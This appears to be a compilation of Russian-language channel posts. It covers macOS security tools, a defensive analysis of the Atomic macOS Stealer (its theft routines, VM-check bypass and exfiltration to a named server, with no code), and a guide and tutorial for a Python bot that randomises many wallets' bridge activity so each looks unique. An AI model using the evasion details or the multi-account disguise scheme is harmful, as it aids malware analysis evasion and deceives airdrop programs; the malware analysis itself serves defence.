Так как вредоносное программное обеспечение в большинстве своем бесполезно без интернет соединения, качественный сетевой экран может спасти пользователя от случайно запущенного вируса.

Из интересного - многие трояны, прежде чем исполнить свою логику, проводят сканирование системы на присутствие подобного софта и, в случае находки такового на зараженном ПК, попросту прекращают свое действие дабы оставаться незамеченным больший промежуток времени.

По моему мнению это абсолютный must-have для всех пользователей macOS

Ссылка: https://objective-see.org/products/lulu.html

5.2. KnockKnock

KnockKnock позволяет провести сканирование системы на существующие в ней закрепленные компоненты (Login Items, Launch Agents, Daemons и другие).

Если компьютер заражен вирусом с функцией автозагрузки - он, скорее всего, будет отображен тут.

Ссылка: https://objective-see.org/products/knockknock.html

5.3. BlockBlock

BlockBlock - утилита, которая замечает изменения в файлах автозагрузки аналогично KnockKnock, только в режиме реального времени.

Ссылка: https://objective-see.org/products/blockblock.html

5.4. What's Your Sign

What's Your Sign (WYS) - утилита, позволяющая проверить цифровую подпись файла.

Ссылка: https://objective-see.org/products/whatsyoursign.html

5.5. KeePassXC

KeePassXC - кросплатформенный менеджер паролей. База хранится локально, никаких облачных синхронизаций не используется.

То, как пользователь хранит пароли и обращается с ними напрямую влияет на его информационную безопасность. Несколько рекомендаций по этой теме:

• Используйте менеджер паролей. Это позволяет иметь уникальный сложный пароль для каждой учетной записи без необходимости запоминать их все, а также избегать хранения важных данных в открытых местах
• Создавайте надежные пароли, содержащие минимум 12 знаков - буквы различных регистры, цифры, спецсимволы. Лучше всего использовать генератор случайных символов, один из которых присутствует в KeePassXC
• Никогда не используйте один и тот же пароль повторно

Ссылка: https://keepassxc.org/

6. Анализ вируса Atomic macOS Stealer (AMOS)

Atomic macOS Stealer (AMOS) - вредоносное программное обеспечение, впервые обнаруженное в начале 2023 года. Принадлежит к семейству стиллеров, основная цель которого, при попадании на компьютер жертвы, собрать как можно больше данных, с помощью которых распространитель может извлечь выгоду (чаще всего финансовую).

На текущий момент стиллеры являются чрезвычайно популярными из-за нескольких факторов:

• Простота. Данный вид вредоносного ПО предельно прост в реализации, не требует закрепления в системе и должен быть запущен всего один раз, в отличие от тех же троянов удаленного доступа, которые стараются оставаться активными как можно дольше и воровство данных обычно является только малой частью их функционала
• Популярность криптовалют и онлайн-платежей. Все больше людей со временем начинают владеть цифровыми активами, что становится лакомой целью для злоумышленников. Стиллеры не упускают такой шанс и стараются собирать те данные, из которых можно впоследствии извлечь средства
• Неосведомленность пользователей. Хоть вирусы для macOS существуют уже давно, рядовой пользователь все еще может наивно полагать, что система его защитит. Помимо этого, огромное владельцев техники Apple не заморачивается над созданием сложных и уникальных паролей и активно пользуется функцией сохранения паролей в браузере/Keychain-е

6.1. Распространение

Объявления о продаже можно встретить в телеграме и на различных форумах. Примечательно, что продавец организовал процесс предоставления доступа к админ панели стиллера по системе подписки (И ТУТ ТОЖЕ ПОДПИСКИ???).

В начале продаж (апрель 2023) цена составляла $1000/месяц, в то время как на момент написания статьи поднялась до $3000/месяц.

Каждый покупатель распространял полученный билд AMOS-а как ему вздумается, поэтому не было какого-то единого согласованного варианта.

Из известных на текущий момент можно выделить следующие способы распространения:

• Зараженные приложения - TradingView, Notion, Slack. При таком методе закупалась реклама в поисковых сервисах, что автоматически ставило вредоносный сайт с вирусом на первые места выдачи.
• Пиратский софт - Adobe Photoshop, Microsoft Office, Tor Browser и другие.

6.2. Статический анализ

Реализация AMOS-а с ходом времени претерпела значительных изменений. Если смотреть по таймлайну, то технические решения выглядят примерно так:

1. Первая замеченная версия написана на Go.
2. Переписана на Swift.
3. Переписана на C/C++, обсфусцирован код, зашифрованы строки.
4. Добавлены существенные вкрапления Python и osascript.

Мы разберем относительно старую версию, которая была написана на Swift и мимикрировала под легитимное приложение для трейдеров TradingView. Выбор пал на нее, так как разработчик в то время еще не заморачивался над обфускацией и шифрованием содержимого бинарного файла, в следствие чего статический анализ значительно упрощается. Касательно функционала - с того времени он остается практически неизменным и по сей день.

Стиллер распространялся в формате дискового образа (TradingView.dmg), примонтировав который мы увидим следующую картину:

Здесь нам любезно объясняют, каким способом нужно запускать приложение. Почему так? Давайте проверим подпись с помощью What's Your Sign.

Исполняемый файл имеет adhoc подпись, которая обычно используется разработчиками для тестирования своих приложений без необходимости использовать сертификат, выданный Apple. При этом она абсолютно не подходит для распространения доверенных приложений, так как в таком случае macOS будет воспринимать его подпись как невалидную. Это означает, что запустить его можно только в обход Gatekeeper-а, то есть открыв файл через ПКМ + Open.

На этапе запуска можно столкнуться с типичной для вредоносного ПО логикой, препятствующей анализу поведения в изолированном окружении. Так как запускать вирус на своей рабочей машине это не самая разумная идея, проблема должна быть решена.

Немного покопавшись в дизассемблере можно найти достаточно примитивную реализацию нужной нам логики в функции systeminfo, где вызывается нативная утилита macOS под названием system_profiler, которая собирает информацию о системе. После чего результат вызова проверяется на наличие строк "VMware" и "Apple Virtual Machine", которые там должны быть в случае запуска на виртуальной машине, и если они находятся, приложение попросту завершает свою работу. Обойти данную проверку можно пропатчив бинарный файл, изменив при этом строку инструмента виртуализации, который мы будем использовать.

В ходе исследования можно обнаружить, что функция main (точка входа) содержит в себе создание нового потока, где будет вызвана функция dotask. dotask, исходя из имен вызываемых процедур, вероятно, отвечает за основное поведение стиллера. Можно предположить, что при выполнении поведение будет следующим:

• Извлекаются интересующие данные (GrabChromium, GrabFirefox, keychain, FileGrabber, ColdWallets)
• Извлекается информация о системе и обрабатывается ситуация с анализом в виртуальном окружении (systeminfo)
• Данные пакуются в zip архив с помощью утилиты ditto
• Архив отправляется на сервер злоумышленнику (sendlog)
• Следы работы подчищаются (removeDirectory)

Рассмотрим некоторые процедуры подробнее.

6.2.1. GrabChromium

Отвечает за сбор данных с Chromium-based браузеров.

Тут извлекаются пароли, Cookie, кредитные карты и криптокошельки, установленные в качестве расширения. Последнее можно понять по функции findWallet.

В ней, на первый взгляд, содержится невнятный набор символов, но при детальном рассмотрении можно понять что это идентификаторы расширений. Для примера:

• nkbihfbeogaeaoehlefnkodbefgpgknn - Metamask
• bfnaelmomeimhlpmgjnjophhpkkoljpa - Phantom

Браузер хранит расширения в своих внутренних директориях. Расширения же в этих локациях содержат данные для доступа к цифровым активам - приватный ключ и/или seed-фразу.

Данные криптокошельков по умолчанию зашифрованы и банальное воровство внутренних файлов расширения, в большинстве случаев, ничего не даст злоумышленнику. При этом, они могут быть расшифрованы, если у вас есть пароль. Инструкцию как спиздить деньги с чужого метамаска восстановить свой кошелек имея пароль можно найти на официальном сайте Metamask.

6.2.2. keychain

Здесь происходит извлечение паролей из keychain.

keychain - это зашифрованный контейнер, в котором хранятся данные от учетных записей, приложений, серверов и веб-сайтов, а также конфиденциальная информация, например номера кредитных карт или PIN-коды банковских счетов.

Для его расшифровки требуется пароль от учетной записи пользователя, получив который, вредоносное приложение может получить доступ ко всей информации, которая там хранится.

Пароли, сохраненные в браузере, обычно хранятся не в keychain-е, а во внутренних директориях этих самых браузеров, в зашифрованном виде. При этом, достать пароль для их расшифровки можно из keychain-а (что и делает AMOS на скриншоте ниже).

6.2.3. FileGrabber

Процедура, ответственная за сбор файлов из директорий Desktop и Documents. Интересующие расширения можно видеть на скриншоте.

6.2.4. GrabFirefox

По логике функция похожа на GrabChromium, только для браузера Firefox.

6.2.5. ColdWallets

Финальным этапом является извлечение внутренних файлов из холодних кошельков - Exodus, Electrum, Coinomi и других. По аналогии с браузерными кошельками, данные зашифрованы и цифровые активы защищены до тех пор, пока злоумышленник не знает пароля.

6.2.6. sendlog

После того как данные были собраны, они должны быть отправлены злоумышленнику. Для этого и служит sendlog.

Здесь мы можем видеть как формируется запрос с отправкой zip архива на сервер с IP адресом 185.106.93.154.

6.3. Динамический анализ

Теперь, после того как мы с помощью статического анализа изучили чего можно ожидать от исполняемого файла, можем переходить к тестированию в изолированном окружении.

После запуска "Trading View" мы увидим диалоговое окно, сгенерированное с помощью osascript. Его цель - получить пароль пользователя, имея который вирус получит полный доступ к keychain-у, базам данных браузеров и root-права соответственно.

С помощью утилиты для отслеживания файловой активности, можем удостовериться, что данные собираются в папку, расположенную по маршруту /Users/<user>/<number>, из которой впоследствии создается архив с помощью ditto.

В случае если в системе установлен брандмауэр (например LuLu), можем заметить, что программа пытается установить соединение с удаленным сервером 185.106.93.154.

Это соединение как раз служит для отправки созданного архива злоумышленнику.

7. Итоги

Итак, статья подходит к концу.

Подытожить вышесказанное можно основными тезисами, которые являются важными компонентами в обеспечении безопасности macOS:

• Запускать приложения следует только из доверенных источников. Это позволит уменьшить вероятность заражения вредоносным программным обеспечением.
• Не стоит бездумно надеяться на встроенные механизмы безопасности macOS. Хоть Apple сейчас и предоставляет достаточно серьезную защиту по умолчанию, предотвращающую большинство примитивных атак, опытные разработчики вирусов все еще могут находить различные варианты ее обхода.
• В нагрузку к стандартным системным средствам, можно рассмотреть также различные open-source утилиты вроде брандмауэра для создания дополнительного слоя защиты.
• Использование менеджера паролей - очень важно для предотвращения взломов. Это позволяет пользователю иметь сложные и, что также существенно, уникальные пароли для используемых сервисов. Как мы уже знаем, криптокошельки хранят важные данные в зашифрованном виде, но если вы везде используете один и тот же простой пароль, то злоумышленнику обычно не составляет никаких проблем его подобрать.
• Необходимо периодически обновлять пароли и проводить сканирование системы на наличие неизвестных элементов, имеющих функцию автозагрузки.
• Нельзя хранить важные данные в открытом виде. В современных троянах существует функционал воровства файлов и, если они никак не зашифрованы, моментально становятся лакомым кусочком для злоумышленника.

При соблюдении вышеперечисленных рекомендаций, крайне маловероятно что вы заразите свой девайс вредоносным ПО. А если и заразите - вред будет минимизирован.

Подписывайтесь на канал и вступайте в Dead Engineering - чат, в котором можно обсудить темы, связанные с разработкой, информационной безопасностью и блокчейном.

1. Введение
   1.1. Предисловие
   1.2. Установка
   1.3. Базовые настройки
2. Обзор функционала
   2.1. Генерация кошельков
   2.2. Вывод стейблкоинов с бирж
   2.3. Запуск бриджера
   2.3.1. Stargate mode
   2.3.2. BTC.b mode
3. Заключение
   3.1. Важное замечание

1. Введение

1.1 Предисловие

Well, hello, friends. Описанный в предыдущей технической статье stargate-bridger был доработан, оброс новым функционалом и удобными фичами. В честь "знаменательного" события в виде добавления нового моста - переименуем этого красавчика в layerzero-bridger.

В данной статье не будет технических подробностей, напротив, я постараюсь предоставить user-friendly инструкцию по использованию софта. Говоря более конкретно, мы рассмотрим:

• Функционал, предоставляемый софтом
• Модификации этого функционала под свои нужды
• Логику работы (высокоуровнево)

Хочу сразу уточнить, что софт предназначен для минимизации мозгоебки с прогоном большого количества аккаунтов путем рандомизации возможных действий и создания уникальности за счет этого. Поэтому вы не найдете тонкой настройки под каждый конкретный кошелек, задания своих путей для него и т.д.

1.2 Установка

Напомню, скрипт написан на Python, из чего следует, что перед началом работы этот самый Python должен быть установлен на вашей системе.

Основное взаимодействие с софтом будет происходить через интерфейс командной строки (CLI). Если у вас macOS/Linux, то все команды из статьи будут так же исправно работать в вашем терминале. Если же вы счастливый обладатель Windows - рекомендую сразу установить WSL для избежания всевозможных проблем.

Более подробную инструкцию можно найти в репозитории:
https://github.com/cppmyk/layerzero-bridger

1.3 Базовые настройки

Все настройки перед запуском можно уместить в 2 файла - config.py и .env. Рассмотрим за что каждый из них отвечает:

.env

• RPC
• Ключи к биржам
• Параметры для мостов (slippage, балансы и т. д.)

config.py

• Поддерживаемые сети для мостов
• Тайминги

С настройкой .env файла, в котором нужно задать значение переменной после "=", я думаю, все ясно, а вот config.py рассмотрим немного подробнее.

За изменение поддерживаемых сетей отвечают списки SUPPORTED_NETWORKS, в которых мы можем закомментировать ненужные сети следующим образом:

SUPPORTED_NETWORKS_STARGATE = [
    # Ethereum(),  # High gas price    
    Polygon(),    
    # Fantom(),  # Liquidity problems    
    Avalanche(),    
    Arbitrum(),    
    BSC(),    
    Optimism()
]

Для настройки таймингов нужно указать диапазон рандомизации в секундах в формате (от, до), где "от" и "до" - рациональные числа >= 0. Для более удобного перевода времени существует класс TimeRanges, который содержит в себе константы с количеством секунд в минуте (TimeRanges.MINUTE) и часе (TimeRanges.HOUR).

# Randomization ranges (seconds). The ranges shown are just examples of values that can easily be changed
class SleepTimings:    
    AFTER_START_RANGE = (0, TimeRanges.MINUTE * 10)  # from 0 seconds to 10 minutes. Sleep after start    
    BEFORE_BRIDGE_RANGE = (30, TimeRanges.HOUR)  # from 30 seconds to 1 hour. Sleep before bridge    
    BALANCE_RECHECK_TIME = TimeRanges.MINUTE * 2  # 2 minutes. Recheck time for stablecoin or native token deposit    
    BEFORE_WITHDRAW_RANGE = (30, TimeRanges.HOUR)  # from 30 seconds to 1. Sleep before withdraw from exchange

2. Обзор функционала

Все дальнейшие команды будут выполняться в терминале, в корневой папке репозитория путем взаимодействия с файлом lz.py:

python3 lz.py <command> [args]

2.1 Генерация кошельков

Для удобства был добавлен функционал генерации приватных ключей. По умолчанию ключи будут генерироваться в папку generated_keys, но можно также указать путь и сохранить их в private_keys.txt, например.

python3 lz.py generate <num_keys> [filename]

• <num_keys>: Количество приватных ключей, которое будет сгенерировано
• [filename] (optional): Путь к файлу, в который будут записаны ключи после генерации. По умолчанию generated_keys/private_keys_{datetime}

Пример:

python3 lz.py generate 5
python3 lz.py generate 10 keys.txt

2.2 Вывод стейблкоинов с бирж

Вывод с биржи на множество кошельков со случайной задержкой и значением можно сделать следующим образом:

python3 lz.py withdraw \
   <token> \
   <network> \
   <min_amount> \
   <max_amount> \
   [--min_time <min_time>] \
   [--max_time <max_time>] \
   [--keys <private_keys_file>] \
   [--exchange <exchange_name>]

• <token>: Название токена (USDT, USDC и т.д.)
• <network>: Сеть вывода [Arbitrum | Ethereum | Optimism | Polygon | | Fantom | Avalanche | BSC]
• <min_amount>: Минимальное количество токенов, которое будет выведено
• <max_amount>: Максимальное количество токенов, которое будет выведено
• [min_time] (optional): Минимальная задержка между выводами (в минутах). По умолчанию 0
• [max_time] (optional): Максимальная задержка между выводами (в минутах). По умолчанию 0
• [private_keys_file] (optional): Путь к файлу с приватными приватными ключами от кошельков, которые будут пополнены с биржи. По умолчанию private_keys.txt
• [exchange_name] (optional): Биржа, с которой будет осуществлен вывод [binance | okex]. По умолчанию binance

Пример:

python3 lz.py withdraw USDC Ethereum 20 100
python3 lz.py withdraw USDT Ethereum 30 60 --min_time 5 --max_time 10 --keys accounts.txt --exchange okex

Советую использовать Binance, чтобы не заморачиваться с вайтлистами Okex-а.

2.3 Запуск бриджера

В этом пункте для начала разберемся каким образом можно запускать бриджер, а затем подробнее разберем каждый режим.

python3 lz.py run \
   <bridger_mode> \
   [--keys <private_keys_file>] \
   [--refuel <refuel_mode>] \
   [--limit <bridges_limit>]

• <bridger_mode>: Режим работы [stargate, btcb]
• [private_keys_file] (optional): Путь к файлу с приватными приватными ключами. По умолчанию private_keys.txt
• [refuel_mode] (optional): Режим пополнения нативного токена [manual, binance, okex]. Если стоит manual - бот ждет ручного пополнения от вас, иначе - выводит необходимое количество токенов с биржи. По умолчанию manual
• [bridges_limit] (optional): Максимальное количество бриджей, которое должен сделать бот, после чего остановить свою работу. По умолчанию бот будет работать бесконечно

Пример:

python3 lz.py run stargate
python3 lz.py run btcb --refuel binance 
python3 lz.py run stargate --keys keys.txt --refuel binance --limit 5

2.3.1 Stargate mode

Для лучшего понимания механизма работы режима stargate, рассмотрим следующую схему:

Если сетей, которые удовлетворяют требованию минимального баланса, будет больше одной - она выберется случайно. Ожидания каждый раз рандомизируются в соответствии с заданными значениями в config.py.

2.3.2 BTC.b mode

Данный режим работает аналогично предыдущему, только вместо стейблкоинов он взаимодействует с BTC.b:

Покупка BTC.b должна происходить в ручном режиме.

3. Заключение

Бот используется для личных целей и в нем, разумеется, могут быть баги, поэтому используйте с осторожностью. Если вы найдете какой-то баг - пишите в чат.

Грамотные замечания и pull request-ы приветствуются.

Знаете ли вы, что ???!!
Когда вы не подписываетесь на cppmyk.inc, умирает один ретродропер, который продолжает все делать руками! Поделитесь каналом, пусть все знают!!!

3.1 Важное замечание

Для вопросов вида "Как установить Python" существует Google.

Для вопросов вида "Я все 10 раз прогуглил, но все равно не могу понять в чем проблема" существует чат.

Не пишите мне в ЛС, пожалуйста 🥸

Содержание:

1. Введение
   1.1. Предисловие
   1.2. Итоговый результат
   1.3. Как запустить
2. База
   2.1. Python
   2.2. Blockchain
3. Основная часть
   3.1. Архитектура сетей
   3.2. Логика
   3.3. Взаимодействие со смарт-контрактами
   3.3.1. Проверка баланса нативного токена
   3.3.2. Проверка баланса ERC-20 токена
   3.3.3. Approve ERC-20 токена
   3.3.4. Stargate swap
   3.4. Реализация сетей
   3.5. AccountThread и состояния
   3.6. Рандомизация
4. Финал

1. Введение

1.1 Предисловие

Well, hello, friends. В этой статье я разберу базовые аспекты написания скриптов на примере простого бота для моста Stargate. Гайд предназначен для новичков и если вы уже опытный разработчик, который понимает как взаимодействовать с блокчейном, то вряд ли найдете для себя что-то полезное. Для комфортного прочтения желательно иметь хотя бы минимальный опыт программирования, но если он отсутствует - я расскажу с чего начать.

1.2 Итоговый результат

Собственно то, ради чего мы здесь собрались.

Пройдя весь путь, мы получим скрипт на языке Python, который будет иметь следующий функционал:

• Поддержка всех популярных EVM сетей - Ethereum, Arbitrum, Optimism, Polygon, Fantom, Avalance, BSC
• Сканирование сетей на наличие стейблкоинов на балансе
• Бридж через Stargate
• Полная рандомизация путей и таймингов. Никаких закономерностей
• Одновременная работа нескольких аккаунтов

Исходный код: https://github.com/cppmyk/layerzero-bridger

1.3 Как запустить

• Устанавливаем Python 3.9.2 (можно и другую версию, но я не ручаюсь за нее)
• Переходим в директорию с репозиторием (у вас путь наверняка будет другой):

cd stargate-bridger

• Инициализируем виртуальное окружение и устанавливаем зависимости:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

• Настраиваем config.py (тайминги, поддерживаемые сети)
• Добавляем приватные ключи в private_keys.txt
• Запускаем:

python3 main.py

2. База

Перед тем как непосредственно перейти к написанию скрипта, следует поверхностно разобрать технологический стек, который мы будем использовать.

2.1 Python

Python - язык общего назначения, который идеально подходит для решения задач автоматизации благодаря следующим преимуществам:

• Простота. Код на Python писать быстро и приятно, в нем нет слишком заумных концепций, вследствие чего язык является одним из наиболее дружелюбных к новичкам
• Большое сообщество. Благодаря этому существует невероятное множество готовых библиотек, которые помогают в решении различных задач

В этой статье я не буду объяснять основы программирования на Python, так как уже существуют материалы, которые это сделают гораздо лучше меня. На мне лежит миссия познакомить вас с ними:

• Python для начинающих
• Python для продвинутых
• ООП на Python

Если с английским все хорошо - настоятельно рекомендую пройти курс от Мичиганского университета:

• Python for Everybody

Этому этапу я советую уделить достаточно времени. Теория в чистом виде бесполезна, поэтому постарайтесь прорешать как можно больше практических задач. Чем крепче у вас будут базовые знания, тем легче будет в дальнейшем.

2.2 Blockchain

Скрипт будем писать под EVM сети, что значительно облегчит нам работу и позволит без особых сложностей сделать единый интерфейс для них.

С данной темой, я думаю, проблем не возникнет, так как средний криптан уже понимает как на высоком уровне работает блокчейн, смарт-контракты и для чего нужны ноды, но если вы хотите узнать больше, рекомендую отличный курс от MixBytes (топ контора, которая занимается аудитом смарт-контрактов):

• Блокчейн, смарт-контракты и децентрализованные приложения

3. Основная часть

В этой части мы сначала подробно разберем архитектуру и все составляющие будущего софта, а затем разберем каждый элемент подробно.

3.1 Архитектура сетей

Для начала определим базовые классы для взаимодействия с сетями.

Класс Network, базовый для всех сетей, будет включать в себя методы и параметры, присущие этим сетям. Его мы вводим для того, чтобы в будущем расширять функционал для non-EVM сетей (если будет в этом необходимость).

EVMNetwork же наследуется от базового и определяет весь функционал, который нам будет нужен для взаимодействия с EVM сетями. Он будет выступать базовым для конкретных сетей - Ethereum, Arbitrum, Optimism etc.

Рассмотрим методы этого класса в двух словах:

• approve_token_usage - взаимодействие с ERC-20 контрактом, которое разрешает spender-у тратить amount токенов с нашего кошелька
• estimate_layerzero_swap_fee - взаимодействие с контрактом StargateRouter, которое считает необходимую комиссию для LayerZero
• get_balance - получение баланса нативного токена (ETH, MATIC, AVAX etc.)
• get_current_gas - получение текущего газа сети
• get_nonce - получение текущего значения nonce параметра кошелька
• get_token_allowance - взаимодействие с ERC-20 контрактом для получения количества токенов, которое уже разрешено потратить spender-у
• get_token_balance - взаимодействие с ERC-20 контрактом для получения баланса токенов на адресе
• make_stargate_swap - взаимодействие с StargateRouter-ом, которое и будет бриджить токены

BalanceHelper - utility класс, который сделает взаимодействие с балансами чуть более удобным.

3.2 Логика

Определим, какого поведения мы хотим добиться для каждого аккаунта. Для этого выведем следующим пункты:

• Каждый аккаунт работает отдельно, независимо от других со своими таймингами
• Если в аккаунте случается ошибка вроде нехватки баланса, фейла транзакции и т.п. - он продолжает работу, никак не влияет на другие и со временем возвращается в строй (после пополнения баланса или повторного выполнения транзакции)

Очередность действий, которой следует каждый аккаунт:

1. Проверка баланса стейблкоинов на всех поддерживаемых сетях
2. Выбор случайной сети с балансом
3. Выбор случайной сети назначения (куда будет бриджиться токен)
4. Бридж токена через Stargate
5. Переход к пункту 1

И это все, разумеется, должно быть приправлено случайными перерывами между действиями для создания уникального аккаунта.

Для реализации вышеописанного идеально подходит паттерн Состояние, с помощью которого мы выделим каждый шаг в отдельный State и в нем будем обрабатывать все необходимые действия.

Диаграмма последовательности этих состояний будет выглядеть как-то так:

Рассмотрим диаграмму классов подробнее:

State - базовый класс, который декларирует метод handle для обработки состояния. От него наследуются произвольные состояния:

• CheckStablecoinBalanceState - одно из первых состояний, которое отвечает за проверку баланса стейблкоинов на кошельке
• ChooseDestinationNetworkState - выбор сети назначения, куда будут бриджиться токены
• ChooseDestinationStablecoinState - выбор случайного стейблкоина, который поддерживается сетью назначения
• CheckNativeTokenBalanceForGasState - проверка достаточности баланса нативного токена для оплаты комиссий
• RefuelDecisionState - решение, которое принимается в случае нехватки баланса для оплаты комиссий. В текущей имплементации поддерживается только ручное пополнение, но может быть без особых проблем расширено до вывода с биржи, или refuel-а через какой-либо смарт-контракт
• WaitForManualRefuelState - ожидание ручного пополнения пользователем
• StargateSwapState - бридж токена в сеть назначения через Stargate

Также на диаграмме классов можем видеть некий AccountThread. Прежде всего, для понимания, следует объяснить что такое потоки в операционной системе и чем они отличаются от процессов:

• Поток - это последовательность инструкций или операций, выполняющихся внутри программы или системы. Он представляет собой некоторую независимую единицу работы, которая может быть исполнена параллельно с другими потоками.
• Процесс - это экземпляр программы, выполняющейся в операционной системе, и может включать в себя один или несколько потоков. Процессы имеют отдельные адресные пространства, ресурсы и контекст выполнения, в то время как потоки могут разделять эти ресурсы и работать в рамках одного процесса.

Грубо говоря, потоки - более легковесная версия процессов. Они обычно используют общие ресурсы и адресное пространство процесса, что позволяет им выполняться более эффективно и экономить системные ресурсы по сравнению с созданием отдельных процессов. Кроме того, переключение между потоками происходит быстрее, чем между процессами, так как оно не требует полного контекстного переключения.

Потоки в нашем случае являются идеальным инструментом для выделения логики аккаунта в отдельную сущность. Это позволит обрабатывать каждый аккаунт параллельно и независимо от других. Для этих целей и служит класс AccountThread.

3.3 Взаимодействие со смарт-контрактами

Теперь подробно разберем детали реализации. Начнем с темы взаимодействия со смарт-контрактами и рассмотрим, каким образом это можно осуществлять из Python кода.

Основной библиотекой, которая поможет в этом нелегком на первый взгляд деле, будет web3.py. Она реализует огромное количество функционала для взаимодействия с блокчейном. Советую заглянуть в документацию, где можно найти немало наглядных примеров и улучшить свое понимание.

Главная сущность, с которой мы будем работать - Web3.

Web3 предоставляет мощный набор функций для взаимодействия с EVM блокчейнами. Вот некоторые из основных функций, которые можно выполнять с помощью данного класса:

• Подключение к ноде: Web3 позволяет установить соединение с удаленной или локальной нодой блокчейна
• Работа с аккаунтами: Возможность создавать новые аккаунты, получать балансы и отправлять токены с одного аккаунта на другой
• Взаимодействие с контрактами: Web3 позволяет взаимодействовать с существующими смарт-контрактами, вызывая их функции, получая данные и отправляя транзакции
• Получение информации о блоках и транзакциях: Возможность получать данные о текущем состоянии блокчейна, получать информацию о блоках, транзакциях и других важных сущностях
• Работа с событиями: Web3 позволяет отслеживать события, происходящие в смарт-контрактах, и реагировать на них

Для того, чтобы инстанцировать этот класс необходимо обернуть RPC в HTTPProvider. Рассмотрим на примере бесплатного Ethereum RPC от Ankr:

rpc = "https://rpc.ankr.com/eth"
w3 = Web3(HTTPProvider(rpc))

Теперь у нас есть мега-инструмент для взаимодействия с блокчейном, который мы в дальнейшем будем многократно использовать.

3.3.1 Проверка баланса нативного токена

Напомню, что все методы определены в классе EVMNetwork и будут рассматриваться с учетом этого. Первым делом взглянем на то, как можно получить баланс нативного токена:

def get_balance(self, address: str) -> int:    
    return self.w3.eth.get_balance(Web3.to_checksum_address(address))

С помощью такого нехитрого метода мы получим целочисленный результат, который и будет балансом кошелька в Wei. Для того, чтобы привести результат к привычному нам виду, следует разделить это значение на 10^18.

eth_balance = ethereum.get_balance("0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045")
print(eth_balance / 10 ** 18)

3.3.2 Проверка баланса ERC-20 токена

Немного более сложная операция, так как требует взаимодействия с view методом смарт-контракта. View метод не делает никаких записей в storage блокчейна, поэтому его вызов бесплатный извне и не требует никаких транзакций. Для начала, взглянем как можно вызвать этот метод из Etherscan на примере токена USDT, а после этого реализуем то же самое в коде.

Переходим на страницу смарт-контракта USDT и заходим в Contract -&gt; Read Contract . Здесь ищем функцию balanceOf, вписываем желаемый адрес и делаем запрос:

Как мы видим, ничего сложного. Etherscan в данном случае выступает прослойкой между нами и блокчейном, но под капотом он так же отправляет запрос к ноде и возвращает нам результат.

Чтобы превратить вышеописанное в Python код введем понятие ABI:

ABI (Application Binary Interface) смарт-контракта - это набор спецификаций, описывающих методы и структуру данных, используемых в смарт-контракте. ABI определяет, как взаимодействовать с контрактом, какие функции и события он поддерживает, а также формат и порядок аргументов и возвращаемых значений.

Для работы с ERC-20 контрактом в коде, обязательно нужно предоставить ABI, которое можно найти как на том же Etherscan в разделе Contract, так и на сторонних ресурсах, например тут.

Теперь мы готовы и можем взглянуть на метод для проверки баланса токенов:

def get_token_balance(self, contract_address: str, address: str) -> int:
    contract = self.w3.eth.contract(address=Web3.to_checksum_address(contract_address), abi=ERC20_ABI)    
    return contract.functions.balanceOf(Web3.to_checksum_address(address)).call()

Создав объект типа Contract, остается лишь вызвать тот самый метод balanceOf и получить желаемый результат.

3.3.3 Approve ERC-20 токена

Метод approve дает разрешение адресу spender потратить некий amount ваших токенов. Например, можно разрешить мосту бриджить ваши токены, либо Uniswap-у обменивать их. В отличие от balanceOf, approve изменяет state блокчейна, поэтому для него требуется подписать и отправить транзакцию ноде. Предварительно можно поиграться в Etherscan-е в разделе Contract -&gt; Write Contract. Мы же рассмотрим подробнее как это делается в коде:

def approve_token_usage(self, private_key: str, contract_address: str, spender: str, amount: int) -> bool:
    account = self.w3.eth.account.from_key(private_key)
    contract = self.w3.eth.contract(address=Web3.to_checksum_address(contract_address), abi=ERC20_ABI)
    
    tx = contract.functions.approve(spender, amount).build_transaction({       
      'from': account.address,
      'gas': self._get_approve_gas_limit(),
      'gasPrice': int(self.get_current_gas()),
      'nonce': self.get_nonce(account.address)})
      
    signed_tx = self.w3.eth.account.sign_transaction(tx, private_key)
    tx_hash = self.w3.eth.send_raw_transaction(signed_tx.rawTransaction) 
       
    try:        
        receipt = self.w3.eth.wait_for_transaction_receipt(tx_hash)
    except web3.exceptions.TimeExhausted:
        print('Approve tx waiting time exceeded')
        return False
    return True

Сначала нужно сделать build транзакции с понятными дополнительными параметрами, после чего транзакция подписывается приватным ключом и отправляется в блокчейн. Ожидаем пока ее включат в блок и возвращаем результат выполнения функции.

3.3.4 Stargate swap

Переходим к самому интересному, а именно - к взаимодействию со Stargate-ом. Первое что мы должны сделать - разумеется, заглянуть в документацию. В разделе How to Swap можно видеть всю необходимую для бриджа информацию: какой смарт-контракт нужно использовать, какой метод из этого контракта отвечает за swap, какие параметры он принимает и т.д.

Из этого же раздела, мы понимаем, что перед самим swap-ом, нужно подсчитать необходимую комиссию для LayerZero, которая будет отправлена на контракт в нативной монете сети. Загрузим ABI StargateRouter-а и реализуем функцию подсчета следующим образом:

def estimate_layerzero_swap_fee(self, dst_chain_id: int, dst_address: str) -> int:
    contract = self.w3.eth.contract(
        address=Web3.to_checksum_address(self.stargate_router_address),
        abi=STARGATE_ROUTER_ABI)
          
    quote_data = contract.functions.quoteLayerZeroFee(
        dst_chain_id,  # destination chainId        
        1,  # function type (1 - swap)
        dst_address,  # destination of tokens
        "0x",  # payload, using abi.encode()
        [0,  # extra gas, if calling smart contract
        0,  # amount of dust dropped in destination wallet
        "0x"  # destination wallet for dust
        ]).call()    
    
    return quote_data[0]

Вызов view метода контракта, аналогичный получению баланса ERC-20 токена.

Идентификаторы сетей, пулов и адреса контрактов можно найти в той же документации, никаких секретов здесь нет.

Что же из себя представляет swap? Давайте посмотрим:

def make_stargate_swap(self, private_key: str, dst_chain_id: int, src_pool_id: int, dst_pool_id: int, amount: int, min_received_amount: int) -> bool:
    account = self.w3.eth.account.from_key(private_key)
    contract = self.w3.eth.contract(
        address=Web3.to_checksum_address(self.stargate_router_address),
        abi=STARGATE_ROUTER_ABI)
    
    layerzero_fee = self.estimate_layerzero_swap_fee(dst_chain_id, account.address)
    nonce = self.get_nonce(account.address)
    gas_price = self.get_current_gas()
    
    tx = contract.functions.swap(
        dst_chain_id,  # destination chainId
        src_pool_id,  # source poolId
        dst_pool_id,  # destination poolId
        account.address,  # refund address. extra gas (if any) is returned to this address
        amount,  # quantity to swap
        min_received_amount,  # the min qty you would accept on the destination
        [0,  # extra gas, if calling smart contract
        0,  # amount of dust dropped in destination wallet
        "0x"  # destination wallet for dust
        ],
        account.address,  # the address to send the tokens to on the destination
        "0x",  # "fee" is the native gas to pay for the cross chain message fee
        ).build_transaction({
            'from': account.address,
